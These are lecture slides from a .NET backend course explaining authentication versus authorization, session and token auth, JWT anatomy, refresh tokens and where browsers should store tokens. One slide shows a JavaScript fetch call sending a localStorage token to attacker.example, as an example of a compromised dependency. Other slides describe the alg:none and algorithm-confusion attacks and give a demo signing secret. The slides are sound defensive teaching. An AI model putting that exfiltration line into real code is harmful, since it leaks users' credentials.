Backend Development with .NET
Session 18
Authentication Theory & JWT
Eng. Seif Mansour  ·  Andalusia Academy
Week 7  ·  2 hours
Session Goals

By the end of this session, you will be able to:

  • Explain the difference between authentication and authorization, and why order matters
  • Describe the JWT structure and say exactly what each of the three parts contains
  • Reason about token lifetime, refresh tokens, and why access tokens cannot be revoked
  • Choose a token storage strategy and defend it against XSS and CSRF
  • Name the common JWT security mistakes and the mitigation for each
Note
This session is deliberately theory-only. No code is written today. Session 19 implements every idea here in .NET.
Agenda
Time Segment Type Duration
0:00AuthN vs AuthZTheory15 min
0:15How session-based auth worksTheory10 min
0:25How token-based auth worksTheory15 min
0:40JWT anatomyTheory + Demo25 min
1:05Token lifetime & refresh tokensTheory20 min
1:25Secure token storageTheory15 min
1:40Discussion & Q&ADiscussion20 min
Authentication vs Authorization
Two words that sound alike, solve different problems, and are constantly confused. Getting them straight is the foundation for everything else today.
In this section
The two questions every request must answer
401 versus 403 — and why people get it wrong
Why authentication always runs first
Every Protected Request Asks Two Questions
Question 1 — Authentication
Who are you?
The caller proves their identity. Until this succeeds, the server is talking to an anonymous stranger.
"I am Ahmed, here is my password."
Question 2 — Authorization
What are you allowed to do?
Given a known identity, the server decides whether this specific action is permitted.
"Ahmed is an Admin, so he can delete tasks."
Both are required
Authentication without authorization means every logged-in user can do everything. Authorization without authentication is meaningless — you cannot check permissions for someone you have not identified.
AuthN and AuthZ — The Shorthand

You will see these abbreviations in documentation, library names, and error messages. They are not interchangeable.

Term Question Answered by Failure status
AuthN Who are you? Credentials, then a token or session 401 Unauthorized
AuthZ What may you do? Roles, policies, ownership checks 403 Forbidden
Naming trap
HTTP status 401 is named "Unauthorized" but it actually means unauthenticated. The status code that means "not authorized" is 403. This is a known wart in the HTTP specification — learn it once and move on.
Choosing Between 401 and 403

The decision is mechanical once you know which question failed:

  • No token, expired token, bad signature → 401
  • Valid token, insufficient rights → 403
Rule of thumb
401 means "try again with credentials." 403 means "credentials received, still no."
GET /api/v1/tasks/17 HTTP/1.1
Host: api.example.com

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer

GET /api/v1/tasks/17 HTTP/1.1
Authorization: Bearer eyJhbGciOi...

HTTP/1.1 403 Forbidden
Content-Type: application/problem+json
Authentication Always Comes First

In .NET this ordering is literal — it is the order of two middleware calls in the request pipeline.

UseHttpsRedirection()force TLS
UseRouting()match the endpoint
UseAuthentication()who are you — builds the identity
UseAuthorization()what may you do — reads that identity
MapControllers()run the action
Swap them and everything breaks silently
If UseAuthorization runs first, there is no identity to inspect yet. Every user looks anonymous, and every protected endpoint returns 401 even with a perfectly valid token. You will meet this bug in Session 19.
You Have Already Written Half of This

In React you have probably hidden a "Delete" button unless the user is an admin. That is authorization — but it is cosmetic.

Anyone can open DevTools, unhide the button, or call the endpoint directly with curl. The frontend check improves the experience; it does not protect anything.

function TaskRow({ task, user }) {
  return (
    {user.role === "Admin" && <DeleteButton />}
  );
}
The rule
Every check on the client must be repeated on the server. The server is the only one that counts.
How Session-Based Auth Works
The traditional approach the web ran on for twenty years. Understanding it explains exactly what problem tokens were invented to solve.
In this section
HTTP is stateless — the root problem
Session IDs, cookies, and the session store
Why it struggles to scale horizontally
The Root Problem: HTTP Has No Memory

Each HTTP request is independent. The server does not remember that the same person sent a request one second ago.

  • You log in successfully. The server responds 200 OK.
  • You request GET /api/v1/tasks. To the server, this is a brand new stranger.
  • Nothing in a plain HTTP request says "this is the person who logged in."
So every auth scheme answers one question
How does the client prove, on every single request, that it is the same party that logged in — without sending the password again?

There are two mainstream answers: sessions (server remembers) and tokens (client carries proof).

Session-Based Flow
Client (browser) Server Session store POST /login { email, password } save session abc123 → userId 42 Set-Cookie: sid=abc123 GET /tasks Cookie: sid=abc123 look up abc123 — every request 200 OK [ tasks of user 42 ]
The session ID is an opaque pointer. All the real data lives on the server.
What Each Side Actually Holds

The cookie carries nothing meaningful — it is a random opaque string. Stealing it still gets you in, but reading it tells you nothing.

The server holds the truth: which user, when they logged in, what they are allowed to do.

Consequence
Deleting the server-side record logs the user out instantly. Revocation is trivial.
server memory or Redis
{
  "abc123": {
    "userId": 42,
    "email": "ahmed@example.com",
    "role": "Admin",
    "createdAt": "2026-03-04T09:15:00Z",
    "expiresAt": "2026-03-04T10:15:00Z"
  }
}
Client holds only: sid=abc123
Sessions Are Genuinely Good At Some Things

Tokens are not strictly better. Be honest about what sessions win.

  • Instant revocation. Delete the row, the user is out on their next request.
  • Nothing leaks. The cookie is a random string — no user data travels on the wire.
  • Change permissions live. Demote an admin and the very next request reflects it.
  • Tiny requests. A session ID is around 32 characters, not several hundred bytes.
  • Mature tooling. Browsers handle cookie storage and expiry natively.
Worth knowing
Many large products still run on sessions. "JWT everywhere" is a fashion, not a law.
The Scaling Problem

One server is fine. Traffic grows, so you run three servers behind a load balancer.

You log in and Server A stores your session in its own memory. Your next request lands on Server B, which has never heard of abc123.

Result
The user is randomly logged out roughly two times in three.
Load balancer Server A abc123 → 42 session lives here Server B (empty) request lands here Server C (empty) Cookie: sid=abc123 401 Unauthorized
Three Ways Out — And Their Costs
Approach How it works Cost
Sticky sessions Load balancer always routes a given user to the same server Uneven load; that server restarting logs everyone on it out
Shared session store All servers read and write sessions in Redis or SQL A network round trip on every request; a new component to run and keep alive
Stateless tokens Client carries signed proof; no server-side lookup at all Cannot revoke a token before it expires
Where this session goes next
Option three is what JWT gives you. Everything after this slide is exploring the consequences of choosing it — including that one uncomfortable cost.
How Token-Based Auth Works
Move the state to the client, and make it tamper-evident with a signature. The server stops remembering and starts verifying.
In this section
The stateless flow, end to end
The Authorization Bearer header
What you gain and what you give up
Token-Based Flow
Client (browser) Server (any instance) POST /auth/login { email, password } sign with secret nothing is saved 200 OK { accessToken: "eyJhbGciOi..." } GET /tasks Authorization: Bearer eyJhbGciOi... verify signature no database lookup 200 OK [ tasks of user 42 ]
Compare with the previous diagram: the session store is gone entirely.
The Server Stores Nothing

This is the whole idea, and it is worth stating bluntly: after issuing a token, the server forgets you completely.

  • The token is self-contained — it carries the user id, email, and role inside it.
  • The token is signed — any edit to its contents invalidates the signature.
  • Verification needs only the secret key, which every instance already has in configuration.
  • Any server can validate any token. Add ten instances; none of them need to talk to each other.
Horizontal scaling, solved
There is no shared state to synchronise, so the load balancer can route each request anywhere it likes.
Sessions vs Tokens, Side by Side
Session-based Token-based (JWT)
Server storesSession record per logged-in userNothing
Client storesOpaque session IDThe full signed token
Per requestLook up the sessionVerify the signature
Scales horizontallyNeeds sticky routing or a shared storeYes, natively
RevocationInstant — delete the recordHard — valid until it expires
Readable by clientNoYes — payload is only encoded
Typical carrierCookieAuthorization header
The Authorization Header

Every authenticated request carries the token in one standard header. The format is fixed:

Authorization: <scheme> <credentials>

The scheme for JWT is Bearer. One space separates it from the token. No quotes, no Bearer:, no lowercase bearer in your client code.

GET /api/v1/tasks HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiJ9.M8mbrku6
Accept: application/json
Most common beginner bug
Sending the raw token with no Bearer prefix. The server sees an unparseable header, ignores it, and returns 401.
"Bearer" Means Exactly What It Says

A bearer token works like cash. Whoever bears it can spend it. The server does not check that the holder is the person the token was issued to — possession is the entire proof.

Implication
A stolen token is a stolen identity, for as long as the token remains valid. There is no second factor inside the token itself.

This single fact drives three decisions you will make later today:

  • Always transmit over HTTPS — a plaintext token on public Wi-Fi is a giveaway
  • Keep the lifetime short — it limits how long a theft is useful
  • Store it where scripts cannot casually read it
The Trade You Are Making
What you gain
No session store to run or scale.
Any instance validates any token.
Works across separate services and domains.
Natural fit for mobile apps and SPAs.
What you give up
You cannot revoke an issued token.
Role changes only apply at the next issue.
Larger requests — the token rides along every time.
The payload is readable by anyone holding it.
Engineering, not magic
Every architecture choice costs something. The skill is naming the cost before you pay it, not pretending it is absent.
JWT Anatomy
Three Base64Url segments joined by dots. Twenty-five minutes taking one apart byte by byte, because the shape explains every rule that follows.
In this section
Header, payload, signature
Registered and custom claims
Encoding is not encryption
HS256 versus RS256
Three Parts, Two Dots

A JWT is one long ASCII string. Split it on the dot character and you get exactly three pieces.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsImVtYWlsIjoiYWhtZWRAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.M8mbrku6GSUoUOlCEzgrcf-mhmlTJX-16EuD6-AqpwI
Header
Which algorithm signed this, and what type of token it is.
Payload
The claims — statements about the user and the token itself.
Signature
Proof that the first two parts were produced by someone holding the secret.
Part 1 — The Header

Base64Url-decode the first segment and you get a small JSON object.

  • alg — the signing algorithm, here HMAC with SHA-256
  • typ — the token type, always JWT for our purposes

The server reads this to know how to verify — which, as we will see, is itself a security problem worth knowing about.

segment 1, decoded
{
  "alg": "HS256",
  "typ": "JWT"
}
Encoded: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Part 2 — The Payload (Claims)

A claim is a statement the token makes: "the subject of this token is user 42", "this token expires at this instant."

This is the part your API actually reads to build the current user. In .NET it lands in HttpContext.User.

Remember
Everything here is visible to the client. Choose what you put in accordingly.
segment 2, decoded
{
  "sub": "42",
  "email": "ahmed@example.com",
  "role": "Admin",
  "iat": 1700000000,
  "exp": 1700003600
}
One hour of validity: 1700003600 − 1700000000 = 3600 seconds
Registered Claims

Seven short names are reserved by the JWT specification. Libraries understand them without configuration.

subSubject — who the token is about, normally the user id
expExpires at — validated automatically by every library
iatIssued at — useful for auditing and age checks
nbfNot before — token is invalid until this instant
issIssuer — who created it, e.g. your auth service
audAudience — who it is meant for, e.g. your API
jtiJWT id — unique id, used for denylists
Why three letters
The token travels on every request. Short names keep it small — this is deliberate, not laziness.
Why Issuer and Audience Matter

A signature only proves the token was made by someone with the secret. It does not prove it was made for you.

  • Suppose two of your services share a signing secret: a public marketing site and the Task API.
  • A token issued for the marketing site would verify perfectly against the Task API.
  • Checking aud rejects it: this token was not addressed to this API.
  • Checking iss rejects tokens minted by an issuer you do not trust.
In Session 19
You will set ValidateIssuer and ValidateAudience to true in TokenValidationParameters. Now you know what those flags actually defend against.
Custom Claims

Beyond the registered set you may add anything JSON can express. Common additions for our Task API:

  • email for display
  • role for authorization decisions
  • tenantId in multi-tenant systems
Keep it lean
Every claim is bytes on every request. Put in what you need to authorize; look up the rest from the database.
what .NET may emit
{
  "sub": "42",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Admin",
  "exp": 1700003600
}
.NET expands some short names into long URI claim types. Session 19 shows how to keep them short.
Part 3 — The Signature

The signature is computed over the first two segments, joined by a dot, keyed with the server's secret.

HMACSHA256(
    base64UrlEncode(header) + "." + base64UrlEncode(payload),
    secret
)
  • Change a single character of the payload and the recomputed signature no longer matches.
  • An attacker can edit "role": "User" to "Admin" — but cannot produce the matching signature without the secret.
  • The server never trusts the token's contents until this check passes.
The secret is the whole security model
Anyone who obtains it can mint a valid token for any user with any role. Treat it like a database root password.
How Verification Works
incoming token: header.payload.signature header + payload signature sent server secret recompute HMACSHA256(...) compare equal trust the claims different 401 Unauthorized Only after the signature matches does the server check exp, iss, and aud.
Key Concept
"A JWT payload is not encrypted — only signed.
Anyone holding the token can read every claim in it.
The signature stops them changing it, not seeing it."
— Session 18
Prove It To Yourself

No key, no tool, no privileges. Any holder of the token can do this in one line.

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsImVtYWlsIjoiYWhtZWRAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.M8mbrku6GSUoUOlCEzgrcf-mhmlTJX-16EuD6-AqpwI"

# take the middle segment and Base64-decode it
echo "$TOKEN" | cut -d. -f2 | base64 -d

# {"sub":"42","email":"ahmed@example.com","role":"Admin","iat":1700000000,"exp":1700003600}
Live demo
Paste the same token into jwt.io. The header and payload appear instantly. Enter the secret andalusia-super-secret-key-change-me and the signature turns green — change one character of it and the check fails.
What Must Never Go In a Payload
Passwords or password hashesNever
Credit card or bank account numbersNever
National ID numbers, medical dataNever
Internal connection strings or API keysNever
User id, role, email, tenant idFine
Expiry, issuer, audienceFine
The test
Before adding a claim, ask: would I be comfortable printing this on the user's screen? If not, it does not belong in a JWT.
Size Is a Real Constraint

The token is sent on every single request. A bloated payload is a permanent tax on your API.

  • A lean token: roughly 200–400 bytes
  • Stuffed with permissions arrays: several kilobytes
  • Many servers reject headers above 8 KB outright
A real failure mode
Add every permission to the token, let one user accumulate enough of them, and that user — and only that user — starts receiving 431 Request Header Fields Too Large. It is a miserable bug to diagnose.
Better
Put the role in the token. Look up the fine-grained permissions for that role on the server.
Two Classic Attacks on the Header
alg: none
The attacker rewrites the header to {"alg":"none"}, edits the payload freely, and sends no signature at all. Naive libraries once accepted this.
Fix: pin the accepted algorithm; never let the token choose.
Algorithm confusion
A server expecting RS256 is handed an HS256 token signed with the public key — which is public. The server verifies it as a shared secret and accepts.
Fix: validate against one fixed algorithm, not whatever the header claims.
Good news for us
Microsoft's JwtBearer handler defends against both by default when you configure TokenValidationParameters properly. You still need to know why the defaults exist — you will meet libraries in other languages that are less careful.
HS256 vs RS256
HS256 — symmetric
One shared secret both signs and verifies.
Simple to set up, nothing to distribute.
Every verifier can also forge tokens.
best when one app issues and consumes
RS256 — asymmetric
Private key signs, public key verifies.
Verifiers cannot mint new tokens.
Requires key management and distribution.
best when many services consume tokens
Our choice
The Task API issues and validates its own tokens, so HS256 is the right level of complexity for this course. Recognise RS256 when you see it — it is what identity providers like Auth0 and Microsoft Entra ID use.
Token Lifetime & Refresh Tokens
Short tokens are safer but annoy users. Refresh tokens resolve that tension — by reintroducing exactly the server-side state we removed.
In this section
Why access tokens are short-lived
The revocation problem, stated honestly
The two-token model and rotation
What logging out really means
A Token's Life on a Clock
valid — the server accepts this token expired — 401 iat issued at 1700000000 nbf not before (optional) exp expires at 1700003600 Both values are Unix timestamps — seconds since 1 January 1970 UTC no lookup needed to know this
Why Access Tokens Are Short-Lived

The lifetime you choose is the size of the window an attacker gets after stealing a token. That is the entire calculation.

Lifetime If the token is stolen User experience
15 minutesAttacker has at most 15 minutes of accessNeeds a refresh mechanism
1 hourUp to an hour of full impersonationReasonable middle ground
24 hoursA full day, even after the password is changedConvenient and dangerous
30 daysA month of undetectable accessEffectively a permanent breach
Course default
Access token: 15 minutes to 1 hour. Refresh token: 7 to 30 days.
The Revocation Problem

This is the hard truth of stateless auth, and it deserves a slide of its own.

An issued access token cannot be un-issued
The server keeps no record of it. There is nothing to delete. Until exp passes, that token is valid — and every one of your servers will happily honour it.

Consider what that means in practice:

  • You fire an employee and disable their account — their current token still works.
  • You demote an admin to a normal user — their token still claims "role": "Admin".
  • A user changes their password after a phishing attack — the stolen token is unaffected.

Short lifetimes are the mitigation. They do not eliminate the window; they shrink it.

The Two-Token Model
POST /auth/login email + password access token — 15 min — stateless refresh token — 7 days — in database Authorization: Bearer <access> on every call 15 minutes later: 401 expired POST /auth/refresh sends the refresh token check the database exists, unexpired, not revoked new access token no password re-entry
Access Token vs Refresh Token
Access token Refresh token
Lifetime15 minutes to 1 hour7 to 30 days
Sent withEvery API requestOnly the refresh endpoint
Stored server-sideNoYes — a row in the database
RevocableNoYes — delete or flag the row
Contains claimsYes — user id, roleNo — usually a random opaque string
If stolenDamage bounded by expirySerious — mints new access tokens
Notice the irony
To make stateless auth practical we added a database table. Refresh tokens are the state we tried to remove — but now it is touched once every 15 minutes instead of on every request.
What a Refresh Token Record Holds

Because it lives in your database, you decide the rules. A typical row records:

  • Who it belongs to
  • When it expires
  • Whether it has been revoked
  • Optionally, the device or IP it was issued to
conceptual shape — built in Session 19
public class RefreshToken
{
    public string Token { get; set; }
    public int UserId { get; set; }
    public DateTime ExpiresAt { get; set; }
    public bool IsRevoked { get; set; }
    public DateTime? RevokedAt { get; set; }
}
This is an ordinary EF Core entity — exactly the modelling you learned in Sessions 14 to 16.
Refresh Token Rotation

A refresh token that stays valid for 30 days is a rich target. Rotation shrinks the exposure:

  • Every refresh call issues a new refresh token and invalidates the old one
  • Each refresh token is therefore usable exactly once
  • If an old token is presented again, something is wrong
Reuse detection
A replayed token means either the attacker or the real user is using a stolen copy — you cannot tell which. The safe response is to revoke the entire token family for that user and force a fresh login.
Scope note
The capstone does not require rotation. Know the term, understand the motivation, and reach for it when a real system needs it.
So How Do You Log Someone Out?

One of today's discussion questions, answered three ways.

1. Discard on client
Delete the token from memory. Simple and instant from the user's point of view — but a copied token still works until it expires.
2. Revoke the refresh token
Delete the database row. The current access token survives its remaining minutes; after that, no new one can be issued.
3. Denylist by jti
Record revoked token ids and check every request against the list. Fully effective — and you have re-created a session store.
The honest answer
Most systems use 1 and 2 together, and accept a short window where the old access token still works. That window is precisely why the lifetime is 15 minutes.
Secure Token Storage
You have a token. Where does the browser keep it? Every option trades one class of attack for another — there is no free choice here.
In this section
XSS and CSRF in plain terms
Four storage options, ranked
What we use in this course, and why
Two Attacks You Are Choosing Between
XSS — cross-site scripting
Attacker gets JavaScript running on your page — through a vulnerable dependency, an unescaped comment, a compromised CDN script.

That script can read anything JavaScript can read.
steals the token, then uses it
CSRF — cross-site request forgery
A malicious site makes the victim's browser send a request to your API. The browser attaches cookies automatically.

The attacker never sees the credential — the browser uses it for them.
rides the credential without reading it
The key asymmetry
XSS threatens anything JavaScript can read. CSRF threatens anything the browser sends automatically. A storage choice that defeats one usually exposes the other.
Four Places To Put a Token
Storage XSS risk CSRF risk Recommendation
localStorageHighNoneAvoid for tokens
sessionStorageHighNoneAvoid for tokens
Memory (JS variable)LowNoneBest for SPAs
HttpOnly cookieNoneHighBest with CSRF protection
Read the table honestly
There is no row with "None" in both columns. You are picking which attack you are prepared to defend against by other means.
Why localStorage Loses

It is the first thing every tutorial reaches for: two lines, survives a refresh, works immediately.

It is also readable by every script on the page, including the 900 transitive dependencies you did not audit.

One compromised package
A single malicious dependency exfiltrates every user's token silently. Nothing in your own code has to be wrong.
// your code
localStorage.setItem("token", accessToken);

// any script on the page, including a
// compromised third-party dependency
fetch("https://attacker.example/collect", {
  method: "POST",
  body: localStorage.getItem("token")
});
In-Memory Storage

Hold the token in a JavaScript variable — React state or context. It never touches persistent browser storage.

  • Not reachable through localStorage or the cookie jar
  • Gone the moment the tab closes
  • Also gone on refresh — use the refresh token to recover the session
export function AuthProvider({ children }) {
  const [token, setToken] = useState(null);

  return (
    <AuthContext.Provider value={{ token, setToken }}>
      {children}
    </AuthContext.Provider>
  );
}
Note the honesty
XSS risk is "low", not "none". A script running in your page can still read your variables — it just has to work harder.
HttpOnly Cookies

The HttpOnly flag tells the browser: send this cookie with requests, but never expose it to JavaScript. XSS cannot read it at all.

The catch: the browser attaches it automatically to every request to your domain — including requests triggered by a malicious site. That is CSRF.

Set-Cookie: token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Mitigations
SameSite=Strict or Lax blocks most cross-site sends. Anti-forgery tokens cover the rest. Secure refuses to send over plain HTTP.
What We Use In This Course
Store the access token in React state or contextIn memory
Send it as Authorization: Bearer <token>Header
Never write it to localStorage or sessionStorageRule
Always transmit over HTTPSSession 21
Why this combination
An explicit header is not attached automatically by the browser, so CSRF is structurally impossible. Memory storage keeps casual XSS from harvesting it. It is also the simplest thing to demonstrate and debug in Postman — which matters while you are learning.
Six Mistakes To Recognise
Secret in appsettings.json
Committed to Git, visible to anyone with repository access, forever in the history.
Fix: user-secrets locally, environment variables in production.
Weak or short secret
A 12-character secret is brute-forceable offline once an attacker holds one token.
Fix: at least 32 random bytes for HS256.
Sensitive data in the payload
Anyone holding the token reads it. Encoding is not encryption.
Fix: identifiers and roles only.
No expiry, or a 30-day expiry
A stolen token is useful for a month, and cannot be recalled.
Fix: short access token plus a refresh token.
Trusting claims without verifying
Decoding a token is not validating it. Reading claims from an unverified token trusts the attacker.
Fix: verify the signature first, always.
Sending tokens over plain HTTP
Anyone on the network path reads the header and replays it.
Fix: HTTPS everywhere, enforced server-side.
Discussion
"If JWTs cannot be revoked, how do you log a user out?"
Consider all three options we covered, and be explicit about the window each one leaves open.
"What happens if the JWT secret leaks?"
Who can the attacker impersonate? What does rotating the secret do to every currently logged-in user?
"Why is a 15-minute access token better than a 24-hour one?"
Quantify the exposure window. Then argue the other side — what does the short lifetime cost you in complexity?
Summary
1Authentication asks who you are and fails with 401; authorization asks what you may do and fails with 403. Authentication always runs first.
2Sessions keep state on the server and revoke instantly; tokens keep state on the client and scale horizontally. Each buys one advantage with the other's weakness.
3A JWT is header, payload, and signature, Base64Url-encoded and joined by dots. The signature proves integrity — it provides no confidentiality.
4The payload is readable by anyone holding the token, so it carries identifiers and roles and nothing sensitive.
5Access tokens cannot be revoked. Short lifetimes shrink the damage; refresh tokens, stored server-side, restore control.
6Store the token in memory and send it in the Authorization header. Never localStorage, never over plain HTTP.
What's Next

Session 19 — Implementing JWT Auth in .NET

Everything on today's slides becomes code:

  • Hashing passwords properly on registration
  • Issuing a signed token on login
  • Configuring AddJwtBearer and TokenValidationParameters
  • Protecting endpoints with [Authorize]
  • Reading claims from HttpContext.User
Come prepared
Session 19 moves fast. If the three parts of a JWT are not clear yet, spend ten minutes on jwt.io before the next class — decode a token, change one character in the payload, and watch the signature check fail.
Looking further ahead
Session 20 turns claims into roles and policies. Session 21 adds rate limiting, CORS, and HTTPS around all of it.
Assignment — Token Autopsy

Write a short document, docs/token-analysis.md, dissecting a real JWT. Generate one at jwt.io with the payload of your choice, or use the token from the anatomy slide.

  • Paste the full token, then show each of the three segments decoded, labelled header, payload, and signature
  • Write one line explaining every claim in your payload, marking each as registered or custom
  • Edit the role claim to Admin, re-encode that segment, and paste the resulting token back into jwt.io — record what the signature check reports and explain in two sentences why
  • Choose an access token lifetime for the capstone Task API and justify it against the theft-window table
  • State where your React client will store the token and name the one attack that choice still leaves open
Bonus
Answer this in a closing paragraph: your company must invalidate one specific user's access immediately, and the access token lifetime is one hour. Describe two mechanisms that would achieve it, and state honestly what each one costs you in statelessness.
Questions?
Session 18 — Authentication Theory & JWT